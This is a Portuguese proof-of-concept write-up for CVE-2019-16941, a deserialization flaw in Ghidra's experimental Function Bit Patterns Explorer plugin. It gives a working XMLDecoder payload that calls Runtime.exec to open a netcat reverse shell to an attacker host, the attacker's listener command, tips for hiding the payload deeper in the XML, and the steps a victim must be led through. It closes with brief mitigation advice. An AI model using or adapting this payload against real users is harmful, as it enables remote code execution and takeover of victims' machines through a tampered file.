
PoC para CVE-2019-16941
Prova de Conceito:
A vulnerabilidade exige múltiplas condições relativamente improváveis para ser acionada, o que limita sua explorabilidade. No entanto, é necessário pouco esforço e entendimento para preparar um payload, dado que ele pode resultar em execução arbitrária de código.
Criando o payload:
Para criar um payload para o alvo executar, pode ser utilizado um script incorporado ao Ghidra. Para acessá-lo, clique em "Window" -> "Script Manager" e execute "DumpFunctionPatternInfoScript.java" com os parâmetros padrão em qualquer binário que você tenha incluído no Code Browser (mas certifique-se de que o caminho para a pasta onde deseja salvar a saída exista). Este script produz um arquivo de saída XML que será carregado posteriormente no componente vulnerável.

Este modelo XML pode ser usado para injetar o objeto que será desserializado como código Java e executado silenciosamente, sem alertar o usuário. Essencialmente, o código malicioso será inserido como um objeto adicional no final do arquivo XML, antes da tag de fechamento . Um exemplo de payload de objeto que representa uma shell reversa é o seguinte:
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'</string>
</void>
</object>
O exemplo acima será desserializado no seguinte código Java:
Process process = Runtime.getRuntime().exec("nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'")
As opções são ilimitadas em termos de payload, já que qualquer código Java (até mesmo malware sofisticado) pode ser executado dessa forma, desde que seja corretamente serializado no formato XML exigido pelo XMLDecoder. Deve-se ter cuidado se o payload for inserido em outro lugar dentro do modelo (para ficar ainda mais oculto), pois isso pode produzir exceções durante a desserialização, alertando assim o usuário.
Execução:
O processo pelo qual o payload é executado faz uso da GUI do Ghidra e não pode ser automatizado. Em vez disso, requer interação humana da vítima, o que representa outra condição para que o exploit seja executado.
Para que este exploit funcione no computador da vítima, o Ghidra precisa ter o plugin Experimental "FunctionBitPatternsExplorer" habilitado. Isso pode ser alcançado seguindo os passos abaixo:

Em seguida, o usuário precisará abrir o plugin em "Window" -> "Function Bit Patterns Explorer" e carregar o arquivo XML usando a funcionalidade "Read XML Files". Isso, no entanto, levanta outro desafio para as condições. O atacante precisa de uma forma de fazer o usuário baixar o payload XML para sua máquina.
De volta à perspectiva da vítima, a função não permitirá que você veja os arquivos XML na lista, portanto, se o diretório parecer vazio, é normal. Se você começar a digitar o nome deles na caixa de texto "File name", eles aparecerão; no entanto, é importante não selecionar nenhum deles e deixar o seletor apontando para o diretório, pois ele escolherá os arquivos por conta própria.

Antes que o usuário clique em "OK", o atacante (joe) precisará estar executando um listener em seu host remoto e aguardar a conexão. Isso pode ser facilmente alcançado usando:
$ nc -lvnp <listening_port>
Após a execução, os resultados podem ser vistos abaixo:

É altamente improvável que a vulnerabilidade seja explorável em larga escala devido à multiplicidade de condições envolvidas. Até que um novo patch seja fornecido, as melhores circunstâncias de mitigação implicam desabilitar (ou não habilitar em primeiro lugar) o plugin experimental afetado. No entanto, caso o plugin precise ser usado, os arquivos XML devem ser originados de uma fonte confiável.